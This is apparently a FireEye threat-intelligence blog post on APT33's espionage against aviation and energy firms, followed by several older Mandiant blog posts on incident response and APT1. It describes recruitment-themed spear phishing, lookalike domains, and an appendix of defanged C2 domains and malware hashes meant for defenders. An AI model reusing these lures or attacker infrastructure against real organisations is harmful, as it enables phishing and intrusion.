Recent investigations by FireEye’s Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of APT33’s operations, capabilities, and potential motivations. This blog highlights some of our analysis. Our detailed report on FireEye Threat Intelligence contains a more thorough review of our supporting evidence and analysis. We will also be discussing this threat group further during our webinar on Sept. 21 at 8 a.m. ET.

Targeting

APT33 has targeted organizations – spanning multiple industries – headquartered in the United States, Saudi Arabia and South Korea. APT33 has shown particular interest in organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production.

From mid-2016 through early 2017, APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings.

During the same time period, APT33 also targeted a South Korean company involved in oil refining and petrochemicals. More recently, in May 2017, APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company.

We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia’s military aviation capabilities to enhance Iran’s domestic aviation capabilities or to support Iran’s military and strategic decision making vis a vis Saudi Arabia.

We believe the targeting of the Saudi organization may have been an attempt to gain insight into regional rivals, while the targeting of South Korean companies may be due to South Korea’s recent partnerships with Iran’s petrochemical industry as well as South Korea’s relationships with Saudi petrochemical companies. Iran has expressed interest in growing their petrochemical industry and often posited this expansion in competition to Saudi petrochemical companies. APT33 may have targeted these organizations as a result of Iran’s desire to expand its own petrochemical production and improve its competitiveness within the region. 

The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups, indicating a common interest in the sectors across Iranian actors.

Figure 1 shows the global scope of APT33 targeting.


Figure 1: Scope of APT33 Targeting

Spear Phishing

APT33 sent spear phishing emails to employees whose jobs related to the aviation industry. These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files. The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals.

An example .hta file excerpt is provided in Figure 2. To the user, the file would appear as benign references to legitimate job postings; however, unbeknownst to the user, the .hta file also contained embedded code that automatically downloaded a custom APT33 backdoor.


Figure 2: Excerpt of an APT33 malicious .hta file

We assess APT33 used a built-in phishing module within the publicly available ALFA TEaM Shell (aka ALFASHELL) to send hundreds of spear phishing emails to targeted individuals in 2016. Many of the phishing emails appeared legitimate – they referenced a specific job opportunity and salary, provided a link to the spoofed company’s employment website, and even included the spoofed company’s Equal Opportunity hiring statement. However, in a few cases, APT33 operators left in the default values of the shell’s phishing module. These appear to be mistakes, as minutes after sending the emails with the default values, APT33 sent emails to the same recipients with the default values removed.

As shown in Figure 3, the “fake mail” phishing module in the ALFA Shell contains default values, including the sender email address (solevisible@gmail[.]com), subject line (“your site hacked by me”), and email body (“Hi Dear Admin”).


Figure 3: ALFA TEaM Shell v2-Fake Mail (Default)

Figure 4 shows an example email containing the default values the shell.


Figure 4: Example Email Generated by the ALFA Shell with Default Values

Domain Masquerading

APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training, maintenance and support for Saudi’s military and commercial fleet. Based on observed targeting patterns, APT33 likely used these domains in spear phishing emails to target victim organizations.    

The following domains masquerade as these organizations: Boeing, Alsalam Aircraft Company, Northrop Grumman Aviation Arabia (NGAAKSA), and Vinnell Arabia.

boeing.servehttp[.]com

alsalam.ddns[.]net

ngaaksa.ddns[.]net

ngaaksa.sytes[.]net

vinnellarabia.myftp[.]org

Boeing, Alsalam Aircraft company, and Saudia Aerospace Engineering Industries entered into a joint venture to create the Saudi Rotorcraft Support Center in Saudi Arabia in 2015 with the goal of servicing Saudi Arabia’s rotorcraft fleet and building a self-sustaining workforce in the Saudi aerospace supply base.

Alsalam Aircraft Company also offers military and commercial maintenance, technical support, and interior design and refurbishment services.

Two of the domains appeared to mimic Northrop Grumman joint ventures. These joint ventures – Vinnell Arabia and Northrop Grumman Aviation Arabia – provide aviation support in the Middle East, specifically in Saudi Arabia. Both Vinnell Arabia and Northrop Grumman Aviation Arabia have been involved in contracts to train Saudi Arabia’s Ministry of National Guard.

Identified Persona Linked to Iranian Government

We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries.

We assess an actor using the handle “xman_1365_x” may have been involved in the development and potential use of APT33’s TURNEDUP backdoor due to the inclusion of the handle in the processing-debugging (PDB) paths of many of TURNEDUP samples. An example can be seen in Figure 5.


Figure 5: “xman_1365_x" PDB String in TURNEDUP Sample

Xman_1365_x was also a community manager in the Barnamenevis Iranian programming and software engineering forum, and registered accounts in the well-known Iranian Shabgard and Ashiyane forums, though we did not find evidence to suggest that this actor was ever a formal member of the Shabgard or Ashiyane hacktivist groups.

Open source reporting links the “xman_1365_x” actor to the “Nasr Institute,” which is purported to be equivalent to Iran’s “cyber army” and controlled by the Iranian government. Separately, additional evidence ties the “Nasr Institute” to the 2011-2013 attacks on the financial industry, a series of denial of service attacks dubbed Operation Ababil. In March 2016, the U.S. Department of Justice unsealed an indictment that named two individuals allegedly hired by the Iranian government to build attack infrastructure and conduct distributed denial of service attacks in support of Operation Ababil. While the individuals and the activity described in indictment are different than what is discussed in this report, it provides some evidence that individuals associated with the “Nasr Institute” may have ties to the Iranian government.

Potential Ties to Destructive Capabilities and Comparisons with SHAMOON

One of the droppers used by APT33, which we refer to as DROPSHOT, has been linked to the wiper malware SHAPESHIFT. Open source research indicates SHAPESHIFT may have been used to target organizations in Saudi Arabia.

Although we have only directly observed APT33 use DROPSHOT to deliver the TURNEDUP backdoor, we have identified multiple DROPSHOT samples in the wild that drop SHAPESHIFT. The SHAPESHIFT malware is capable of wiping disks, erasing volumes and deleting files, depending on its configuration. Both DROPSHOT and SHAPESHIFT contain Farsi language artifacts, which indicates they may have been developed by a Farsi language speaker (Farsi is the predominant and official language of Iran).

While we have not directly observed APT33 use SHAPESHIFT or otherwise carry out destructive operations, APT33 is the only group that we have observed use the DROPSHOT dropper. It is possible that DROPSHOT may be shared amongst Iran-based threat groups, but we do not have any evidence that this is the case.

In March 2017, Kasperksy released a report that compared DROPSHOT (which they call Stonedrill) with the most recent variant of SHAMOON (referred to as Shamoon 2.0). They stated that both wipers employ anti-emulation techniques and were used to target organizations in Saudi Arabia, but also mentioned several differences. For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment. Kaspersky also noted the difference in resource language sections: SHAMOON embeds Arabic-Yemen language resources while DROPSHOT embeds Farsi (Persian) language resources.

We have also observed differences in both targeting and tactics, techniques and procedures (TTPs) associated with the group using SHAMOON and APT33. For example, we have observed SHAMOON being used to target government organizations in the Middle East, whereas APT33 has targeted several commercial organizations both in the Middle East and globally. APT33 has also utilized a wide range of custom and publicly available tools during their operations. In contrast, we have not observed the full lifecycle of operations associated with SHAMOON, in part due to the wiper removing artifacts of the earlier stages of the attack lifecycle.

Regardless of whether DROPSHOT is exclusive to APT33, both the malware and the threat activity appear to be distinct from the group using SHAMOON. Therefore, we assess there may be multiple Iran-based threat groups capable of carrying out destructive operations.

Additional Ties Bolster Attribution to Iran

APT33’s targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests, implying that the threat actor is most likely government sponsored. This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government.

The times of day that APT33 threat actors were active suggests that they were operating in a time zone close to 04:30 hours ahead of Coordinated Universal Time (UTC). The time of the observed attacker activity coincides with Iran’s Daylight Time, which is +0430 UTC.

APT33 largely operated on days that correspond to Iran’s workweek, Saturday to Wednesday. This is evident by the lack of attacker activity on Thursday, as shown in Figure 6. Public sources report that Iran works a Saturday to Wednesday or Saturday to Thursday work week, with government offices closed on Thursday and some private businesses operating on a half day schedule on Thursday. Many other Middle East countries have elected to have a Friday and Saturday weekend. Iran is one of few countries that subscribes to a Saturday to Wednesday workweek.

APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups. The publicly available backdoors and tools utilized by APT33 – including NANOCORE, NETWIRE, and ALFA Shell – are all available on Iranian hacking websites, associated with Iranian hackers, and used by other suspected Iranian threat groups. While not conclusive by itself, the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33’s familiarity with them and lends support to the assessment that APT33 may be based in Iran.


Figure 6: APT33 Interactive Commands by Day of Week

Outlook and Implications

Based on observed targeting, we believe APT33 engages in strategic espionage by targeting geographically diverse organizations across multiple industries. Specifically, the targeting of organizations in the aerospace and energy sectors indicates that the threat group is likely in search of strategic intelligence capable of benefitting a government or military sponsor. APT33’s focus on aviation may indicate the group’s desire to gain insight into regional military aviation capabilities to enhance Iran’s aviation capabilities or to support Iran’s military and strategic decision making. Their targeting of multiple holding companies and organizations in the energy sectors align with Iranian national priorities for growth, especially as it relates to increasing petrochemical production. We expect APT33 activity will continue to cover a broad scope of targeted entities, and may spread into other regions and sectors as Iranian interests dictate.

APT33’s use of multiple custom backdoors suggests that they have access to some of their own development resources, with which they can support their operations, while also making use of publicly available tools. The ties to SHAPESHIFT may suggest that APT33 engages in destructive operations or that they share tools or a developer with another Iran-based threat group that conducts destructive operations.

Appendix

Malware Family Descriptions

Malware Family

Description

Availability

DROPSHOT

Dropper that has been observed dropping and launching the TURNEDUP backdoor, as well as the SHAPESHIFT wiper malware

Non-Public

NANOCORE

Publicly available remote access Trojan (RAT) available for purchase. It is a full-featured backdoor with a plugin framework

Public

NETWIRE

Backdoor that attempts to steal credentials from the local machine from a variety of sources and supports other standard backdoor features.

Public

TURNEDUP

Backdoor capable of uploading and downloading files, creating a reverse shell, taking screenshots, and gathering system information

Non-Public

Indicators of Compromise

APT33 Domains Likely Used in Initial Targeting

Domain

boeing.servehttp[.]com

alsalam.ddns[.]net

ngaaksa.ddns[.]net

ngaaksa.sytes[.]net

vinnellarabia.myftp[.]org

APT33 Domains / IPs Used for C2

C2 Domain

MALWARE

managehelpdesk[.]com

NANOCORE

microsoftupdated[.]com

NANOCORE

osupd[.]com

NANOCORE

mywinnetwork.ddns[.]net

NETWIRE

www.chromup[.]com

TURNEDUP

www.securityupdated[.]com

TURNEDUP

googlmail[.]net

TURNEDUP

microsoftupdated[.]net

TURNEDUP

syn.broadcaster[.]rocks

TURNEDUP

www.googlmail[.]net

TURNEDUP

Publicly Available Tools used by APT33

MD5

MALWARE

Compile Time (UTC)

3f5329cf2a829f8840ba6a903f17a1bf

NANOCORE

2017/1/11 2:20

10f58774cd52f71cd4438547c39b1aa7

NANOCORE

2016/3/9 23:48

663c18cfcedd90a3c91a09478f1e91bc

NETWIRE

2016/6/29 13:44

6f1d5c57b3b415edc3767b079999dd50

NETWIRE

2016/5/29 14:11

Unattributed DROPSHOT / SHAPESHIFT MD5 Hashes

MD5

MALWARE

Compile Time (UTC)

0ccc9ec82f1d44c243329014b82d3125

DROPSHOT

(drops SHAPESHIFT

n/a - timestomped

fb21f3cea1aa051ba2a45e75d46b98b8

DROPSHOT

n/a - timestomped

3e8a4d654d5baa99f8913d8e2bd8a184

SHAPESHIFT

2016/11/14 21:16:40

6b41980aa6966dda6c3f68aeeb9ae2e0

SHAPESHIFT

2016/11/14 21:16:40

APT33 Malware MD5 Hashes

MD5

MALWARE

Compile Time (UTC)

8e67f4c98754a2373a49eaf53425d79a

DROPSHOT (drops TURNEDUP)

2016/10/19 14:26

c57c5529d91cffef3ec8dadf61c5ffb2

TURNEDUP

2014/6/1 11:01

c02689449a4ce73ec79a52595ab590f6

TURNEDUP

2016/9/18 10:50

59d0d27360c9534d55596891049eb3ef

TURNEDUP

2016/3/8 12:34

59d0d27360c9534d55596891049eb3ef

TURNEDUP

2016/3/8 12:34

797bc06d3e0f5891591b68885d99b4e1

TURNEDUP

2015/3/12 5:59

8e6d5ef3f6912a7c49f8eb6a71e18ee2

TURNEDUP

2015/3/12 5:59

32a9a9aa9a81be6186937b99e04ad4be

TURNEDUP

2015/3/12 5:59

a272326cb5f0b73eb9a42c9e629a0fd8

TURNEDUP

2015/3/9 16:56

a813dd6b81db331f10efaf1173f1da5d

TURNEDUP

2015/3/9 16:56

de9e3b4124292b4fba0c5284155fa317

TURNEDUP

2015/3/9 16:56

a272326cb5f0b73eb9a42c9e629a0fd8

TURNEDUP

2015/3/9 16:56

b3d73364995815d78f6d66101e718837

TURNEDUP

2014/6/1 11:01

de7a44518d67b13cda535474ffedf36b

TURNEDUP

2014/6/1 11:01

b5f69841bf4e0e96a99aa811b52d0e90

TURNEDUP

2014/6/1 11:01

a2af2e6bbb6551ddf09f0a7204b5952e

TURNEDUP

2014/6/1 11:01

b189b21aafd206625e6c4e4a42c8ba76

TURNEDUP

2014/6/1 11:01

aa63b16b6bf326dd3b4e82ffad4c1338

TURNEDUP

2014/6/1 11:01

c55b002ae9db4dbb2992f7ef0fbc86cb

TURNEDUP

2014/6/1 11:01

c2d472bdb8b98ed83cc8ded68a79c425

TURNEDUP

2014/6/1 11:01

c6f2f502ad268248d6c0087a2538cad0

TURNEDUP

2014/6/1 11:01

c66422d3a9ebe5f323d29a7be76bc57a

TURNEDUP

2014/6/1 11:01

ae47d53fe8ced620e9969cea58e87d9a

TURNEDUP

2014/6/1 11:01

b12faab84e2140dfa5852411c91a3474

TURNEDUP

2014/6/1 11:01

c2fbb3ac76b0839e0a744ad8bdddba0e

TURNEDUP

2014/6/1 11:01

a80c7ce33769ada7b4d56733d02afbe5

TURNEDUP

2014/6/1 11:01

6a0f07e322d3b7bc88e2468f9e4b861b

TURNEDUP

2014/6/1 11:01

b681aa600be5e3ca550d4ff4c884dc3d

TURNEDUP

2014/6/1 11:01

ae870c46f3b8f44e576ffa1528c3ea37

TURNEDUP

2014/6/1 11:01

bbdd6bb2e8827e64cd1a440e05c0d537

TURNEDUP

2014/6/1 11:01

0753857710dcf96b950e07df9cdf7911

TURNEDUP

2013/4/10 10:43

d01781f1246fd1b64e09170bd6600fe1

TURNEDUP

2013/4/10 10:43

1381148d543c0de493b13ba8ca17c14f

TURNEDUP

2013/4/10 10:43

Best of the Best in 2013: The Armory

Everyone likes something for free. And there is no better place to go to get free analysis, intelligence and tools than The Armory on M-Unition. During the past year, we've offered intelligence and analysis on new threat activity, sponsored open source projects and offered insight on free tools like Redline™, all of which has been highlighted on our blog.

In case you've missed it, here are some of our most popular posts:

Challenges in Malware and Intelligence Analysis: Similar Network Protocols, Different Backdoors and Threat Groups

In this post, Mandiant's Intel shares insight on threat activity. Specifically, two separate APT groups, using two different backdoors that had very similar networking protocols. Read more to learn what they found.

New Release: OWASP Broken Web Applications Project VM Version 1.1

Chuck Willis overviews version 1.1 of the Mandiant-sponsored OWASP Broken Web Applications Project Virtual Machine (VM). If you are not familiar with this open source project, it provides a freely downloadable VM containing more than 30 web applications with known or intentional security vulnerabilities. Many people use the VM for training or self-study to learn about web application security vulnerabilities, including how to find them, exploit them, and fix them. It can also be used for other purposes such as testing web application assessment tools and techniques or understanding evidence of web application attacks.

Back to Basics Series: OpenIOC

Will Gibb and a few of his colleagues at Mandiant embark on a series going back to the basics and looking deeper at OpenIOC - how we got where we are today, how to make and use IOCs, and the future of OpenIOC.

Check out related posts here: The History of OpenIOC, Back to the Basics, OpenIOC, IOC Writer and Other Free Tools.

Live from Black Hat 2013: Redline, Turbo Talk, and Arsenal

Sitting poolside at Black Hat USA 2013, Mandiant's Kristen Cooper chats with Ted Wilson about Redline in this latest podcast. Ted leads the development of Redline where he provides innovative investigative features and capabilities enabling both the seasoned investigator and those with considerably less experience to answer the question, "have you been compromised?"

Utilities Industry in the Cyber Targeting Scope

Our intel team is back again, this time with an eye on the utilities industry. As part of our incident response and managed defense work, Mandiant has observed Chinese APT groups exploiting the computer networks of U.S. utilities enterprises servicing or providing electric power to U.S. consumers, industry, and government. The most likely targets for data theft in this industry include smart grid technologies, water and waste management expertise, and negotiations information related to existing or pending deals involving Western utilities companies operating in China.

Q&A Webinar Follow-Up – State of the Hack: Back to the Remediation

As a follow-up to our recently held State of the Hack: Back to the Remediation webinar, questions answered by presenter Jim Aldridge are listed below. 

  1. How do you develop a business case for resources for security incident management, remediation, and log analysis?
    This is an area with which many organizations that have not experienced an incident struggle with. I would recommend conducting a realistic incident simulation to exercise the organization's incident response plan. This should go beyond a table-top exercise and actually test responders' capabilities to use logs to identify and track attacker activity. This approach should provide the organization a good understanding of weaknesses in these areas. For example, I assisted a bank with planning and executing this type of exercise. They were concerned about targeted threats and had never experienced a security breach. After a series of meetings to better understand their environment, we designed a scenario based on an incident we had worked on in the past. In their scenario, picture a blank screen with a SQL Server and a question mark on it. We would give them a clue, and then we would on and say, "Okay, so what would you do if you got this information?" And then we provided a little bit more of the diagram. It was in the style of a choose your own adventure.
  2. During incident response what tools do you use for networking indicators; are any of them open source?
    Typically, we like to deploy our network sensors, which we don't offer as a standalone product at this time. That intelligence is only available as part of our Managed Defense™ service, in large part due to the back end processing that's involved. I would categorize those as proprietary. They do a lot for us, but we also leverage whatever the client has in place.
    t
    Sources of helpful information include:
    • Firewall logs (established connection information)
    • DNS logs (which host resolved a given domain name at a given time)
    • NetFlow (connection information)

    One of the more mature security organizations that I've worked an incident with has a particularly effective network monitoring set up. They collect NetFlow information from across the environment. This enables them to rapidly identify lateral movement.

  3.  

  4. Is the Mandiant incident response tool available to the public?
    Mandiant for Intelligent Response® is a commercial product. As I mentioned, Redline™ is a free tool that I encourage you to take a look at. It is very similar to MIR in terms of the capabilities on individual hosts, but it's designed to be executed against one host versus an enterprise.
  5. What are your thoughts on best countermeasures against pass the hash tactics?
    It is most important to prevent the attacker from getting access to that hash in the first place. That's one reason why I like application whitelisting so much, particularly on domain controllers, because this can prevent even a domain admin from running the hash dumper. Unfortunately, once the attacker has that hash, it's not good. Another strategy is to reduce the number of places where an attacker could readily obtain privileged users' hashes. First, privileged users should operate with non-privileged accounts for their day-to-day activities. This helps reduce the impact of a spear phishing email or strategic web compromise that impacts that user. To conduct administration activities, connect to a jump server using two-factor authentication. Maybe incorporate a password vault so that the vault connects the user to the jump server, after a two-factor authentication process, and the password is never divulged to the user (or present on the admin's PC). Then lock down the jump server with application whitelisting, implement enhanced logging and monitoring. Configure firewalls and systems to only accept inbound connections on administrative services from the jump servers and not from the network at large. Each of these countermeasures helps to mitigate a part of the attack lifecycle; implementing them together can help greatly strengthen the security posture.
  6. What kind of back door were the attackers using on the first infected systems?
    That varies widely. On some cases I worked recently we've seen Gh0st RAT, we've seen Poison Ivy, we've seen a custom back door that doesn't really have a name because it's something that this one particular group uses. The particular tool there wasn't the point, just more the fact that they were infected. We're seeing a lot more use of publicly available back doors. They can be pretty effective, and can also be hard to detect.
  7. How would one ever determine the true scope of a foothold in a global environment if it's using multiple command and control points?
    To answer that question, you have to start by comprehensively surveying the environment for indicators of compromise (IOC). You start by taking the pieces of information you know, e.g. the backdoors the attacker is known to use, known compromised accounts, and command-and-control IP addresses. Perhaps this yields you two systems that are initially suspected of being compromised. You then you ask the question, "Well, where did they go from those two systems? How did they get on those two systems?" You conduct forensic analysis to understand all the facts related to those systems: how did they gain access, what did they do, where did they go, and what tools did they use. Then you follow those threads, identifying more systems. This can be challenging in a large environment, which is one of the really helpful use cases for Mandiant for Intelligent Response. The largest organization where I have conducted this type of incident response had around 135,000 hosts. With a team of five or six people and about eight weeks, we could get a handle on that environment.
  8. How do we balance the need to contain and respond and the need to preserve forensic evidence?
    It depends on whether you think that it's likely to go to court or in litigation. You want to make sure that your procedures are as least intrusive as possible, but typically in most APT-type cases, we don't really worry as much about formal chain of custody for systems or preserving every system in its original state. The way I would look at it is, I would develop a set of procedures for your organization to talk about how you determine when you need to preserve and what that means and what your standard operating procedures are, so that you can explain and minimize - both explain what you're doing as well as minimize - the impact on systems.

Mandiant Exposes APT1 – One of China’s Cyber Espionage Units & Releases 3,000 Indicators

Today, The Mandiant® Intelligence Center™ released an unprecedented report exposing APT1's multi-year, enterprise-scale computer espionage campaign. APT1 is one of dozens of threat groups Mandiant tracks around the world and we consider it to be one of the most prolific in terms of the sheer quantity of information it has stolen.

Highlights of the report include:

  • Evidence linking APT1 to China's 2nd Bureau of the People's Liberation Army (PLA) General Staff Department's (GSD) 3rd Department (Military Cover Designator 61398).
  • A timeline of APT1 economic espionage conducted since 2006 against 141 victims across multiple industries.
  • APT1's modus operandi (tools, tactics, procedures) including a compilation of videos showing actual APT1 activity.
  • The timeline and details of over 40 APT1 malware families.
  • The timeline and details of APT1's extensive attack infrastructure.

Mandiant is also releasing a digital appendix with more than 3,000 indicators to bolster defenses against APT1 operations. This appendix includes:

  • Digital delivery of over 3,000 APT1 indicators, such as domain names, and MD5 hashes of malware.
  • Thirteen (13) X.509 encryption certificates used by APT1.
  • A set of APT1 Indicators of Compromise (IOCs) and detailed descriptions of over 40 malware families in APT1's arsenal of digital weapons.
  • IOCs that can be used in conjunction with Redline™, Mandiant's free host-based investigative tool, or with Mandiant Intelligent Response® (MIR), Mandiant's commercial enterprise investigative tool.

The scale and impact of APT1's operations compelled us to write this report. The decision to publish a significant part of our intelligence about Unit 61398 was a painstaking one. What started as a "what if" discussion about our traditional non-disclosure policy quickly turned into the realization that the positive impact resulting from our decision to expose APT1 outweighed the risk of losing much of our ability to collect intelligence on this particular APT group. It is time to acknowledge the threat is originating from China, and we wanted to do our part to arm and prepare security professionals to combat the threat effectively. The issue of attribution has always been a missing link in the public's understanding of the landscape of APT cyber espionage. Without establishing a solid connection to China, there will always be room for observers to dismiss APT actions as uncoordinated, solely criminal in nature, or peripheral to larger national security and global economic concerns. We hope that this report will lead to increased understanding and coordinated action in countering APT network breaches.

We recognize that no one entity can understand the entire complex picture that many years of intense cyber espionage by a single group creates. We look forward to seeing the surge of data and conversations a report like this will likely generate.

Dan McWhorter

Managing Director, Threat Intelligence

M-Unition Podcast: Mandiant’s Redline Tool Makes Incident Response Easy for Experts and Beginners

On today's podcast, Kristen Cooper talks with Lucas Zaichkowsky on the latest version of Redline, a free tool from Mandiant.

The podcast will explain in detail what Redline is capable of, highlighting two features that set it apart from other tools. First, the tool is intuitive enough to be used by novice incident responders, without compromising capabilities that advanced incident responders utilize in the tool. Secondly, the tool is capable of applying Indicators of Compromise (IOC) to data that it collects. This allows Redline to detect evidence of attacks, even though there may be no evidence of active malware on additional computers.

Listen along as Lucas details the product demonstration he performed at Black Hat 2012 that really showcases Redline's unique value.

To listen to the full podcast and learn more about Redline click here.

M-Trends #1: Malware Only Tells Half the Story

When I joined Mandiant earlier this year, I was given the opportunity to help write our annual M-Trends report. This is the third year Mandiant has published the report, which is a summary of the trends we've observed in our investigations over the last twelve months.

I remember reading Mandiant's first M-Trends report when it came out in 2010 and recall being surprised that Mandiant didn't pull any punches. They talked about the advanced persistent threat or APT (they had been using that term for several years...long before it was considered a cool marketing, buzz word), and they were open about the origin of the attacks. The report summarized what I'd been seeing in industry, and offered useful insights for detection and response. Needless to say, I enjoyed the opportunity to work on the latest version.

In this year's report it details six trends we identified in 2011. We developed the six trends for the report very organically. That is, I spent quite a few days and nights reading all of the reports from our outstanding incident response team and wrote about what we saw-we didn't start with trends and then look for evidence to support them.

If you haven't picked up a copy of the report yet, you can do so here. I will be blogging on each of the six trends over the next two weeks; you can even view the videos we've developed for each trend as each blog post is published:

Malware Only Tells Half the Story.

Of the many systems compromised in each investigation, about half of them were never touched by attacker malware.

In so many cases, the intruders logged into systems and took data from them (or used them as a staging point for exfiltration), but didn't install tools. It is ironic that the very systems that hold the data targeted by an attacker are probably the least likely to have malware installed on them. While finding the malware used in an intrusion is important, it is impossible to understand the full scope of an intrusion if this is the focal point of the investigation. We illustrate actual examples of this in the graphical spread on pages 6-7 of the report.

What does this mean for victim organizations?

You could start by looking for malware, but don't end there! A smart incident response process will seek to fully understand the scope of compromise and find all impacted systems in the environment. This could mean finding the registry entries that identify lateral movement, traces of deleted .rar files in unallocated space, or use of a known compromised account. It turns out that Mandiant has a product that does all of this, but the footnote on page 5 is the only mention you'll see in the entire report (and even that was an afterthought).

Thoughts and questions about this trend or the M-Trends report?